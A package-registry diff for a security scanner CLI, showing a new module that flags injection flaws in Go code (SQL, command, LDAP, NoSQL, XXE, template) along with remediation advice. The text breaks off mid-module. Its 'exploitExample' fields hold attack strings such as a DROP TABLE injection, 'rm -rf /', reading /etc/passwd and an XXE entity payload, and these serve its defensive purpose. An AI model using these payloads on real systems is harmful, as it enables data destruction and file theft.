codeslick-cli 1.1.6 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/__tests__/local-scanner.test.ts +5 -0
- package/dist/packages/cli/src/commands/scan.d.ts.map +1 -1
- package/dist/packages/cli/src/commands/scan.js +3 -1
- package/dist/packages/cli/src/commands/scan.js.map +1 -1
- package/dist/packages/cli/src/config/config-loader.d.ts +2 -2
- package/dist/packages/cli/src/config/config-loader.d.ts.map +1 -1
- package/dist/packages/cli/src/config/config-loader.js +2 -2
- package/dist/packages/cli/src/config/config-loader.js.map +1 -1
- package/dist/packages/cli/src/scanner/local-scanner.d.ts +2 -2
- package/dist/packages/cli/src/scanner/local-scanner.d.ts.map +1 -1
- package/dist/packages/cli/src/scanner/local-scanner.js +10 -1
- package/dist/packages/cli/src/scanner/local-scanner.js.map +1 -1
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.d.ts +20 -0
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.js +211 -0
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.d.ts +20 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.js +201 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.d.ts +25 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.js +545 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.d.ts +23 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.js +321 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.d.ts +22 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.js +267 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.js +210 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.js +192 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.d.ts +24 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.js +401 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.js +252 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.js +112 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.d.ts +22 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.js +244 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.js.map +1 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.d.ts +58 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.js +71 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.js.map +1 -0
- package/dist/src/lib/analyzers/go-analyzer.d.ts +48 -0
- package/dist/src/lib/analyzers/go-analyzer.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go-analyzer.js +233 -0
- package/dist/src/lib/analyzers/go-analyzer.js.map +1 -0
- package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.d.ts.map +1 -1
- package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.js +1 -0
- package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.js.map +1 -1
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.d.ts +5 -3
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.d.ts.map +1 -1
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js +23 -5
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js.map +1 -1
- package/dist/src/lib/analyzers/python-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/python-analyzer.js +17 -1
- package/dist/src/lib/analyzers/python-analyzer.js.map +1 -1
- package/dist/src/lib/analyzers/secrets/secrets-analyzer.d.ts +1 -1
- package/dist/src/lib/analyzers/secrets/secrets-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/secrets/secrets-analyzer.js.map +1 -1
- package/dist/src/lib/security/compliance-mapping.d.ts.map +1 -1
- package/dist/src/lib/security/compliance-mapping.js +403 -0
- package/dist/src/lib/security/compliance-mapping.js.map +1 -1
- package/dist/src/lib/security/severity-scoring.d.ts.map +1 -1
- package/dist/src/lib/security/severity-scoring.js +169 -0
- package/dist/src/lib/security/severity-scoring.js.map +1 -1
- package/dist/src/lib/types/index.d.ts +2 -2
- package/dist/src/lib/types/index.d.ts.map +1 -1
- package/example3.go +23 -0
- package/package.json +1 -1
- package/src/commands/scan.ts +3 -1
- package/src/config/config-loader.ts +3 -3
- package/src/scanner/local-scanner.ts +13 -2
|
@@ -0,0 +1,401 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Go Injection Attack Security Checks
|
|
4
|
+
* OWASP A03:2025 - Injection
|
|
5
|
+
*
|
|
6
|
+
* Detects SQL injection, command injection, LDAP injection, NoSQL injection,
|
|
7
|
+
* and XXE vulnerabilities in Go code. These are among the most critical security risks.
|
|
8
|
+
*/
|
|
9
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
10
|
+
exports.checkInjectionAttacks = checkInjectionAttacks;
|
|
11
|
+
const createVulnerability_1 = require("../utils/createVulnerability");
|
|
12
|
+
/**
|
|
13
|
+
* Checks for injection attack vulnerabilities in Go code
|
|
14
|
+
*
|
|
15
|
+
* Covers:
|
|
16
|
+
* - Check #1: SQL Injection - String concatenation in database queries (CRITICAL)
|
|
17
|
+
* - Check #2: Command Injection - exec.Command with shell and user input (CRITICAL)
|
|
18
|
+
* - Check #3: LDAP Injection - Unsafe LDAP filter construction (HIGH)
|
|
19
|
+
* - Check #4: NoSQL Injection - MongoDB query construction with user input (HIGH)
|
|
20
|
+
* - Check #5: XXE - Unsafe XML parsing without DisallowDTD (HIGH)
|
|
21
|
+
* - Check #6: Template Injection - Unsafe template.HTML construction (HIGH)
|
|
22
|
+
*
|
|
23
|
+
* @param lines - Array of code lines
|
|
24
|
+
* @returns Array of security vulnerabilities found
|
|
25
|
+
*/
|
|
26
|
+
function checkInjectionAttacks(lines) {
|
|
27
|
+
const vulnerabilities = [];
|
|
28
|
+
let inMultiLineComment = false;
|
|
29
|
+
// Track variables with unsafe SQL queries, LDAP filters, NoSQL queries
|
|
30
|
+
const unsafeSqlVariables = new Map();
|
|
31
|
+
const unsafeLdapVariables = new Map();
|
|
32
|
+
const unsafeNoSqlVariables = new Map();
|
|
33
|
+
// =============================================================================
|
|
34
|
+
// FIRST PASS: Track unsafe variable assignments
|
|
35
|
+
// =============================================================================
|
|
36
|
+
lines.forEach((line, index) => {
|
|
37
|
+
const lineNumber = index + 1;
|
|
38
|
+
const trimmed = line.trim();
|
|
39
|
+
// Skip comments and empty lines
|
|
40
|
+
if (!trimmed || trimmed.startsWith('//'))
|
|
41
|
+
return;
|
|
42
|
+
// Track SQL query construction with string concatenation or fmt.Sprintf
|
|
43
|
+
const hasSqlKeywords = /\b(SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|JOIN|UNION)\b/i.test(trimmed);
|
|
44
|
+
const hasStringConcat = /[a-zA-Z_]\s*\+|\+\s*[^\s]/.test(trimmed);
|
|
45
|
+
const hasFmtSprintf = /fmt\.Sprintf\s*\(/i.test(trimmed);
|
|
46
|
+
const varAssignment = trimmed.match(/^(\w+)\s*:?=\s*/);
|
|
47
|
+
if (varAssignment && hasSqlKeywords && (hasStringConcat || hasFmtSprintf)) {
|
|
48
|
+
const variableName = varAssignment[1];
|
|
49
|
+
unsafeSqlVariables.set(variableName, lineNumber);
|
|
50
|
+
}
|
|
51
|
+
// Track LDAP filter construction with string concatenation or fmt.Sprintf
|
|
52
|
+
const hasLdapPatterns = /\((&|\|)?(\w+)=|\(objectClass=|\(cn=/i.test(trimmed);
|
|
53
|
+
const hasLdapEscapeFilter = /ldap\.EscapeFilter/i.test(trimmed);
|
|
54
|
+
if (varAssignment && hasLdapPatterns && (hasStringConcat || hasFmtSprintf) && !hasLdapEscapeFilter) {
|
|
55
|
+
const variableName = varAssignment[1];
|
|
56
|
+
unsafeLdapVariables.set(variableName, lineNumber);
|
|
57
|
+
}
|
|
58
|
+
// Track NoSQL query construction with string concatenation or unsafe operators
|
|
59
|
+
const hasNoSqlPatterns = /bson\.(M|D)\{|\$where|mapReduce/i.test(trimmed);
|
|
60
|
+
if (varAssignment && hasNoSqlPatterns && (hasStringConcat || /\$where|mapReduce/.test(trimmed))) {
|
|
61
|
+
const variableName = varAssignment[1];
|
|
62
|
+
unsafeNoSqlVariables.set(variableName, lineNumber);
|
|
63
|
+
}
|
|
64
|
+
});
|
|
65
|
+
// =============================================================================
|
|
66
|
+
// SECOND PASS: Detect vulnerabilities
|
|
67
|
+
// =============================================================================
|
|
68
|
+
lines.forEach((line, index) => {
|
|
69
|
+
const lineNumber = index + 1;
|
|
70
|
+
const trimmed = line.trim();
|
|
71
|
+
// Track multi-line comments (/* ... */)
|
|
72
|
+
if (trimmed.includes('/*')) {
|
|
73
|
+
inMultiLineComment = true;
|
|
74
|
+
}
|
|
75
|
+
if (trimmed.includes('*/')) {
|
|
76
|
+
inMultiLineComment = false;
|
|
77
|
+
return;
|
|
78
|
+
}
|
|
79
|
+
// Skip comments and empty lines
|
|
80
|
+
if (!trimmed || inMultiLineComment || trimmed.startsWith('//')) {
|
|
81
|
+
return;
|
|
82
|
+
}
|
|
83
|
+
// =============================================================================
|
|
84
|
+
// Check #1: SQL Injection - String concatenation in database queries
|
|
85
|
+
// =============================================================================
|
|
86
|
+
// CVSS 9.8 - CRITICAL
|
|
87
|
+
// Direct inline SQL injection
|
|
88
|
+
const hasSqlMethod = /db\.(Query|Exec|QueryRow|QueryContext|ExecContext)\s*\(/i.test(trimmed);
|
|
89
|
+
const hasStringConcat = /[a-zA-Z_]\s*\+|\+\s*[^\s]/.test(trimmed);
|
|
90
|
+
const hasSqlKeywords = /\b(SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|JOIN|UNION)\b/i.test(trimmed);
|
|
91
|
+
if (hasSqlMethod && (hasStringConcat || /fmt\.Sprintf/.test(trimmed)) && hasSqlKeywords) {
|
|
92
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
93
|
+
category: 'go-sql-injection',
|
|
94
|
+
severity: 'critical',
|
|
95
|
+
confidence: 'high',
|
|
96
|
+
message: 'SQL Injection: String concatenation or formatting in database query',
|
|
97
|
+
line: lineNumber,
|
|
98
|
+
suggestion: 'Use parameterized queries with ? placeholders',
|
|
99
|
+
owasp: 'A03:2025 - Injection',
|
|
100
|
+
cwe: 'CWE-89',
|
|
101
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
102
|
+
remediation: {
|
|
103
|
+
explanation: 'Parameterized queries separate SQL logic from data, preventing injection attacks. Go\'s database/sql package automatically escapes parameters.',
|
|
104
|
+
before: `query := "SELECT * FROM users WHERE id = " + userID\ndb.Query(query)`,
|
|
105
|
+
after: `query := "SELECT * FROM users WHERE id = ?"\ndb.Query(query, userID)`
|
|
106
|
+
},
|
|
107
|
+
attackVector: {
|
|
108
|
+
description: 'An attacker can inject malicious SQL by manipulating user input that is directly concatenated into queries.',
|
|
109
|
+
exploitExample: `userID = "1 OR 1=1 --" allows bypassing authentication\nuserID = "1; DROP TABLE users; --" enables database destruction`,
|
|
110
|
+
realWorldImpact: [
|
|
111
|
+
'Complete database compromise and data theft',
|
|
112
|
+
'Authentication bypass (accessing any account)',
|
|
113
|
+
'Data manipulation or deletion',
|
|
114
|
+
'Privilege escalation to admin accounts'
|
|
115
|
+
]
|
|
116
|
+
}
|
|
117
|
+
}));
|
|
118
|
+
}
|
|
119
|
+
// Data flow tracking: Check if unsafe SQL variables are used
|
|
120
|
+
unsafeSqlVariables.forEach((declarationLine, variableName) => {
|
|
121
|
+
if (hasSqlMethod && new RegExp(`\\b${variableName}\\b`).test(trimmed)) {
|
|
122
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
123
|
+
category: 'go-sql-injection',
|
|
124
|
+
severity: 'critical',
|
|
125
|
+
confidence: 'high',
|
|
126
|
+
message: `SQL Injection: Using unsafe query variable '${variableName}' (defined at line ${declarationLine})`,
|
|
127
|
+
line: lineNumber,
|
|
128
|
+
suggestion: 'Use parameterized queries with ? placeholders',
|
|
129
|
+
owasp: 'A03:2025 - Injection',
|
|
130
|
+
cwe: 'CWE-89',
|
|
131
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
132
|
+
remediation: {
|
|
133
|
+
explanation: 'Parameterized queries separate SQL logic from data, preventing injection attacks. Go\'s database/sql package automatically escapes parameters.',
|
|
134
|
+
before: `query := "SELECT * FROM users WHERE id = " + userID\ndb.Query(query)`,
|
|
135
|
+
after: `query := "SELECT * FROM users WHERE id = ?"\ndb.Query(query, userID)`
|
|
136
|
+
},
|
|
137
|
+
attackVector: {
|
|
138
|
+
description: 'An attacker can inject malicious SQL by manipulating user input that is directly concatenated into queries.',
|
|
139
|
+
exploitExample: `userID = "1 OR 1=1 --" allows bypassing authentication\nuserID = "1; DROP TABLE users; --" enables database destruction`,
|
|
140
|
+
realWorldImpact: [
|
|
141
|
+
'Complete database compromise and data theft',
|
|
142
|
+
'Authentication bypass (accessing any account)',
|
|
143
|
+
'Data manipulation or deletion',
|
|
144
|
+
'Privilege escalation to admin accounts'
|
|
145
|
+
]
|
|
146
|
+
}
|
|
147
|
+
}));
|
|
148
|
+
}
|
|
149
|
+
});
|
|
150
|
+
// =============================================================================
|
|
151
|
+
// Check #2: Command Injection - exec.Command with shell and user input
|
|
152
|
+
// =============================================================================
|
|
153
|
+
// CVSS 9.8 - CRITICAL
|
|
154
|
+
const hasExecCommand = /exec\.Command\s*\(/i.test(trimmed);
|
|
155
|
+
const hasShell = /(["']sh["']|["']bash["']|["']\/bin\/sh["']|["']\/bin\/bash["'])/.test(trimmed);
|
|
156
|
+
const hasShellFlag = /(["']-c["'])/.test(trimmed);
|
|
157
|
+
if (hasExecCommand && hasShell && hasShellFlag) {
|
|
158
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
159
|
+
category: 'go-command-injection',
|
|
160
|
+
severity: 'critical',
|
|
161
|
+
confidence: 'high',
|
|
162
|
+
message: 'Command Injection: Using shell with exec.Command allows command injection',
|
|
163
|
+
line: lineNumber,
|
|
164
|
+
suggestion: 'Avoid shell invocation; pass command and arguments separately to exec.Command',
|
|
165
|
+
owasp: 'A03:2025 - Injection',
|
|
166
|
+
cwe: 'CWE-78',
|
|
167
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
168
|
+
remediation: {
|
|
169
|
+
explanation: 'Invoking a shell enables meta-character attacks. Pass the command and each argument as separate parameters to exec.Command to prevent injection.',
|
|
170
|
+
before: `cmd := exec.Command("sh", "-c", "ls " + userPath)\ncmd.Run()`,
|
|
171
|
+
after: `cmd := exec.Command("ls", userPath)\ncmd.Run()`
|
|
172
|
+
},
|
|
173
|
+
attackVector: {
|
|
174
|
+
description: 'An attacker can inject shell commands by manipulating user input that is passed to a shell interpreter.',
|
|
175
|
+
exploitExample: `userPath = ".; rm -rf /" executes malicious commands\nuserPath = "| cat /etc/passwd" exfiltrates sensitive data`,
|
|
176
|
+
realWorldImpact: [
|
|
177
|
+
'Remote Code Execution (RCE) on the server',
|
|
178
|
+
'Complete system compromise',
|
|
179
|
+
'Data exfiltration and theft',
|
|
180
|
+
'Service disruption and malware installation'
|
|
181
|
+
]
|
|
182
|
+
}
|
|
183
|
+
}));
|
|
184
|
+
}
|
|
185
|
+
// =============================================================================
|
|
186
|
+
// Check #3: LDAP Injection - Unsafe LDAP filter construction
|
|
187
|
+
// =============================================================================
|
|
188
|
+
// CVSS 7.5 - HIGH
|
|
189
|
+
const hasLdapSearch = /ldap\.NewSearchRequest|\.Search\s*\(/i.test(trimmed);
|
|
190
|
+
const hasLdapFilter = /Filter\s*:/i.test(trimmed);
|
|
191
|
+
const hasLdapFilterPattern = /\((&|\|)?(\w+)=/i.test(trimmed);
|
|
192
|
+
// Direct inline LDAP injection
|
|
193
|
+
if ((hasLdapSearch || hasLdapFilter) && hasStringConcat && hasLdapFilterPattern) {
|
|
194
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
195
|
+
category: 'go-ldap-injection',
|
|
196
|
+
severity: 'high',
|
|
197
|
+
confidence: 'medium',
|
|
198
|
+
message: 'LDAP Injection: Unsafe LDAP filter construction with string concatenation',
|
|
199
|
+
line: lineNumber,
|
|
200
|
+
suggestion: 'Use ldap.EscapeFilter() to sanitize user input in LDAP filters',
|
|
201
|
+
owasp: 'A03:2025 - Injection',
|
|
202
|
+
cwe: 'CWE-90',
|
|
203
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
204
|
+
remediation: {
|
|
205
|
+
explanation: 'LDAP filters must escape special characters like parentheses, asterisks, and backslashes to prevent injection. Use ldap.EscapeFilter() on all user inputs.',
|
|
206
|
+
before: `filter := "(&(uid=" + username + ")(password=" + password + "))"\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`,
|
|
207
|
+
after: `import "github.com/go-ldap/ldap/v3"\nfilter := fmt.Sprintf("(&(uid=%s)(password=%s))", ldap.EscapeFilter(username), ldap.EscapeFilter(password))\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`
|
|
208
|
+
},
|
|
209
|
+
attackVector: {
|
|
210
|
+
description: 'An attacker can manipulate LDAP queries by injecting special characters, bypassing authentication or extracting sensitive directory information.',
|
|
211
|
+
exploitExample: `username = "*" retrieves all users\nusername = "admin)(uid=*" bypasses authentication`,
|
|
212
|
+
realWorldImpact: [
|
|
213
|
+
'Authentication bypass',
|
|
214
|
+
'Unauthorized access to directory data',
|
|
215
|
+
'Information disclosure (user emails, groups)',
|
|
216
|
+
'Privilege escalation'
|
|
217
|
+
]
|
|
218
|
+
}
|
|
219
|
+
}));
|
|
220
|
+
}
|
|
221
|
+
// Data flow tracking for LDAP
|
|
222
|
+
unsafeLdapVariables.forEach((declarationLine, variableName) => {
|
|
223
|
+
if ((hasLdapSearch || hasLdapFilter) && new RegExp(`\\b${variableName}\\b`).test(trimmed)) {
|
|
224
|
+
// Check if ldap.EscapeFilter is used - if so, skip (it's safe)
|
|
225
|
+
if (/ldap\.EscapeFilter/i.test(trimmed)) {
|
|
226
|
+
return;
|
|
227
|
+
}
|
|
228
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
229
|
+
category: 'go-ldap-injection',
|
|
230
|
+
severity: 'high',
|
|
231
|
+
confidence: 'medium',
|
|
232
|
+
message: `LDAP Injection: Using unsafe filter variable '${variableName}' (defined at line ${declarationLine})`,
|
|
233
|
+
line: lineNumber,
|
|
234
|
+
suggestion: 'Use ldap.EscapeFilter() to sanitize user input in LDAP filters',
|
|
235
|
+
owasp: 'A03:2025 - Injection',
|
|
236
|
+
cwe: 'CWE-90',
|
|
237
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
238
|
+
remediation: {
|
|
239
|
+
explanation: 'LDAP filters must escape special characters like parentheses, asterisks, and backslashes to prevent injection. Use ldap.EscapeFilter() on all user inputs.',
|
|
240
|
+
before: `filter := "(&(uid=" + username + ")(password=" + password + "))"\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`,
|
|
241
|
+
after: `import "github.com/go-ldap/ldap/v3"\nfilter := fmt.Sprintf("(&(uid=%s)(password=%s))", ldap.EscapeFilter(username), ldap.EscapeFilter(password))\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`
|
|
242
|
+
},
|
|
243
|
+
attackVector: {
|
|
244
|
+
description: 'An attacker can manipulate LDAP queries by injecting special characters, bypassing authentication or extracting sensitive directory information.',
|
|
245
|
+
exploitExample: `username = "*" retrieves all users\nusername = "admin)(uid=*" bypasses authentication`,
|
|
246
|
+
realWorldImpact: [
|
|
247
|
+
'Authentication bypass',
|
|
248
|
+
'Unauthorized access to directory data',
|
|
249
|
+
'Information disclosure (user emails, groups)',
|
|
250
|
+
'Privilege escalation'
|
|
251
|
+
]
|
|
252
|
+
}
|
|
253
|
+
}));
|
|
254
|
+
}
|
|
255
|
+
});
|
|
256
|
+
// =============================================================================
|
|
257
|
+
// Check #4: NoSQL Injection - MongoDB query construction with user input
|
|
258
|
+
// =============================================================================
|
|
259
|
+
// CVSS 8.1 - HIGH
|
|
260
|
+
const hasMongoQuery = /bson\.(M|D)\{|collection\.(Find|FindOne|UpdateOne|DeleteOne|MapReduce)/i.test(trimmed);
|
|
261
|
+
const hasUnsafeOperator = /\$where|mapReduce/i.test(trimmed);
|
|
262
|
+
// Direct inline NoSQL injection
|
|
263
|
+
if (hasMongoQuery && (hasStringConcat || hasUnsafeOperator)) {
|
|
264
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
265
|
+
category: 'go-nosql-injection',
|
|
266
|
+
severity: 'high',
|
|
267
|
+
confidence: 'medium',
|
|
268
|
+
message: 'NoSQL Injection: Unsafe MongoDB query construction with user input',
|
|
269
|
+
line: lineNumber,
|
|
270
|
+
suggestion: 'Validate and sanitize user input; avoid $where and mapReduce with untrusted data',
|
|
271
|
+
owasp: 'A03:2025 - Injection',
|
|
272
|
+
cwe: 'CWE-943',
|
|
273
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
274
|
+
remediation: {
|
|
275
|
+
explanation: 'NoSQL injection occurs when user input is directly embedded in queries without validation. Avoid operators like $where and mapReduce with untrusted input. Use type-safe bson structures.',
|
|
276
|
+
before: `filter := bson.M{"$where": "this.username == '" + username + "'"}`,
|
|
277
|
+
after: `// Use parameterized filters\nfilter := bson.M{"username": username}\n// Or validate input\nif !isValidUsername(username) { return errors.New("invalid username") }`
|
|
278
|
+
},
|
|
279
|
+
attackVector: {
|
|
280
|
+
description: 'An attacker can manipulate NoSQL queries to bypass authentication, extract data, or execute arbitrary JavaScript in MongoDB.',
|
|
281
|
+
exploitExample: `username = "' || 1==1 //" bypasses authentication\nusername = "'; db.users.drop(); //" destroys collections`,
|
|
282
|
+
realWorldImpact: [
|
|
283
|
+
'Authentication bypass',
|
|
284
|
+
'Unauthorized data access',
|
|
285
|
+
'Database manipulation or deletion',
|
|
286
|
+
'Arbitrary code execution in MongoDB context'
|
|
287
|
+
]
|
|
288
|
+
}
|
|
289
|
+
}));
|
|
290
|
+
}
|
|
291
|
+
// Data flow tracking for NoSQL
|
|
292
|
+
unsafeNoSqlVariables.forEach((declarationLine, variableName) => {
|
|
293
|
+
if (hasMongoQuery && new RegExp(`\\b${variableName}\\b`).test(trimmed)) {
|
|
294
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
295
|
+
category: 'go-nosql-injection',
|
|
296
|
+
severity: 'high',
|
|
297
|
+
confidence: 'medium',
|
|
298
|
+
message: `NoSQL Injection: Using unsafe query variable '${variableName}' (defined at line ${declarationLine})`,
|
|
299
|
+
line: lineNumber,
|
|
300
|
+
suggestion: 'Validate and sanitize user input; avoid $where and mapReduce with untrusted data',
|
|
301
|
+
owasp: 'A03:2025 - Injection',
|
|
302
|
+
cwe: 'CWE-943',
|
|
303
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
304
|
+
remediation: {
|
|
305
|
+
explanation: 'NoSQL injection occurs when user input is directly embedded in queries without validation. Avoid operators like $where and mapReduce with untrusted input. Use type-safe bson structures.',
|
|
306
|
+
before: `filter := bson.M{"$where": "this.username == '" + username + "'"}`,
|
|
307
|
+
after: `// Use parameterized filters\nfilter := bson.M{"username": username}\n// Or validate input\nif !isValidUsername(username) { return errors.New("invalid username") }`
|
|
308
|
+
},
|
|
309
|
+
attackVector: {
|
|
310
|
+
description: 'An attacker can manipulate NoSQL queries to bypass authentication, extract data, or execute arbitrary JavaScript in MongoDB.',
|
|
311
|
+
exploitExample: `username = "' || 1==1 //" bypasses authentication\nusername = "'; db.users.drop(); //" destroys collections`,
|
|
312
|
+
realWorldImpact: [
|
|
313
|
+
'Authentication bypass',
|
|
314
|
+
'Unauthorized data access',
|
|
315
|
+
'Database manipulation or deletion',
|
|
316
|
+
'Arbitrary code execution in MongoDB context'
|
|
317
|
+
]
|
|
318
|
+
}
|
|
319
|
+
}));
|
|
320
|
+
}
|
|
321
|
+
});
|
|
322
|
+
// =============================================================================
|
|
323
|
+
// Check #5: XXE - Unsafe XML parsing without DisallowDTD
|
|
324
|
+
// =============================================================================
|
|
325
|
+
// CVSS 8.5 - HIGH
|
|
326
|
+
const hasXmlParsing = /xml\.(NewDecoder|Unmarshal|Decoder)/i.test(trimmed);
|
|
327
|
+
if (hasXmlParsing) {
|
|
328
|
+
// Check if there's any security configuration nearby (simple heuristic)
|
|
329
|
+
const nextLineIndex = index + 1;
|
|
330
|
+
const prevLineIndex = index - 1;
|
|
331
|
+
const nextLine = nextLineIndex < lines.length ? lines[nextLineIndex].trim() : '';
|
|
332
|
+
const prevLine = prevLineIndex >= 0 ? lines[prevLineIndex].trim() : '';
|
|
333
|
+
const hasSecurityConfig = /DisableExternalEntities|DisableEntityExpansion/i.test(trimmed) ||
|
|
334
|
+
/DisableExternalEntities|DisableEntityExpansion/i.test(nextLine) ||
|
|
335
|
+
/DisableExternalEntities|DisableEntityExpansion/i.test(prevLine);
|
|
336
|
+
if (!hasSecurityConfig) {
|
|
337
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
338
|
+
category: 'go-xxe-vulnerability',
|
|
339
|
+
severity: 'high',
|
|
340
|
+
confidence: 'medium',
|
|
341
|
+
message: 'XXE Vulnerability: XML parsing may allow external entity attacks',
|
|
342
|
+
line: lineNumber,
|
|
343
|
+
suggestion: 'Ensure XML parser disables external entities and DTD processing',
|
|
344
|
+
owasp: 'A05:2025 - Security Misconfiguration',
|
|
345
|
+
cwe: 'CWE-611',
|
|
346
|
+
pciDss: 'PCI DSS 6.5.1',
|
|
347
|
+
remediation: {
|
|
348
|
+
explanation: 'XML External Entity (XXE) attacks occur when XML parsers process external entities, potentially reading local files or making SSRF requests. Disable external entity processing.',
|
|
349
|
+
before: `decoder := xml.NewDecoder(reader)\nerr := decoder.Decode(&data)`,
|
|
350
|
+
after: `// Go's xml package is relatively safe by default, but use a secure wrapper\n// For critical applications, consider using a library that explicitly disables entities\ndecoder := xml.NewDecoder(reader)\n// Note: Go's standard library doesn't support DTDs, but external libraries might`
|
|
351
|
+
},
|
|
352
|
+
attackVector: {
|
|
353
|
+
description: 'An attacker can read local files or trigger SSRF attacks by injecting external entity references in XML input.',
|
|
354
|
+
exploitExample: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>\n<!-- Reads /etc/passwd -->`,
|
|
355
|
+
realWorldImpact: [
|
|
356
|
+
'Local file disclosure (credentials, config files)',
|
|
357
|
+
'Server-Side Request Forgery (SSRF)',
|
|
358
|
+
'Denial of Service (DOS)',
|
|
359
|
+
'Port scanning of internal network'
|
|
360
|
+
]
|
|
361
|
+
}
|
|
362
|
+
}));
|
|
363
|
+
}
|
|
364
|
+
}
|
|
365
|
+
// =============================================================================
|
|
366
|
+
// Check #6: Template Injection - Unsafe template.HTML construction
|
|
367
|
+
// =============================================================================
|
|
368
|
+
// CVSS 7.5 - HIGH
|
|
369
|
+
const hasTemplateHTML = /template\.(HTML|JS|CSS|JSStr|URL)\s*\(/i.test(trimmed);
|
|
370
|
+
if (hasTemplateHTML && hasStringConcat) {
|
|
